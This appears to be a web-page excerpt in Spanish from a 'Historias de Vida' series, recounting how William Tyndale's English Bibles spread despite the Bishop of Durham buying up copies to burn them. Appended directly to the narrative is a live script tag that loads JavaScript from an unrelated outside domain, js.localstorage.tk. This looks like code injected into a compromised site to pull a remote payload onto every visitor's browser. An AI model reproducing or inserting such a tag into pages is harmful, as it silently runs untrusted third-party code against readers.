William Tyndale

Con perseverancia, Tyndale, prosiguió sus trabajos y a pesar de toda la oposición, la Palabra de Dios llegó de varios modos a Londres y de allí circuló por todo el país. Los opositores trataron de suprimir la verdad, pero fue en vano. El obispo de Durham compró de una sola vez, de una librería todo el surtido de Biblias que tenía, para destruirlas, suponiendo que de esta manera estorbaría en algo la circulación de las Escrituras; pero, por el contrario, el dinero así conseguido, fue suficiente para hacer una edición nueva y más elegante, que de otra forma no hubiera podido publicarse.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#22